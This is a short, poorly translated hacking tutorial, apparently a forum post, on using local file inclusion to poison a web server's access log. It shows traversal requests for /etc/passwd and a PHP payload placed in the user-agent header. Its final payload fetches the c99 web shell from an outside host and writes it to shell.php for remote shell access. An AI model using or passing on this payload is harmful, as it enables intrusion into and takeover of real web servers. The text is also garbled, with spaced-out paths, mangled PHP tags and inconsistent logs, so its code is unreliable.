Log poisoning is a technique that not many know about.
this technique works only if you can make an LFI of the page.
if we say that you call index.php, which is vulnerable to LFI
and writes index.php? inc =../../../ var / www / logs / access.log

So you see that it will produce a logfile.
that looks something like this:
11.11.11.11 – – [05/Feb/2004: 21:34:01 -0600] “GET / tindex.php? Inc = HTTP/1.1” 200 230 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1 ; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 ”
11.11.11.11 – – [05/Feb/2004: 21:34:04 -0600] “GET / tindex.php? Inc =../../../ etc / passwd HTTP/1.1” 200 175 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11”
11.11.11.11– [05/Feb/2004: 21:34:07 -0600] “GET / index.php? Inc = test.php HTTP/1.1” 200 134 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 ”
11.11.11.11 – – [05/Feb/2004: 21:34:08 -0600] “GET / index.php? Inc =../../../ var / www / logs / access.log HTTP/1.1 “200 164” – “” Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 ”

As you can see logs serve our user-agent
If we change our user-agent to: <? Php echo ‘test’;?>
Can we hope the following restultat:
11.11.11.11 – – [05/Feb/2004: 21:34:01 -0600] “GET / tindex.php? Inc = HTTP/1.1” 200 230 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1 ; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 ”
11.11.11.11 – – [05/Feb/2004: 21:34:04 -0600] “GET / tindex.php? Inc =../../../ etc / passwd HTTP/1.1” 200 175 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11”
11.11.11.11– [05/Feb/2004: 21:34:07 -0600] “GET / index.php? Inc = test.php HTTP/1.1” 200 134 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 ”
11.11.11.11 – – [05/Feb/2004: 21:34:08 -0600] “GET / index.php? Inc =../../../ var / www / logs / access.log HTTP/1.1 “200 164” – “” test ”
As you can see, were running our PHP question.
change it as our user-agent to:
<? php fwrite (fopen ( ‘shell.php’, ‘w’), file_get_contents ( ‘hxxp: / / hack3r.org/path/to/c99.txt’)); die;?>
so it creates a file called shell.php with our shell script in.
And wopidoo, we have shell access.
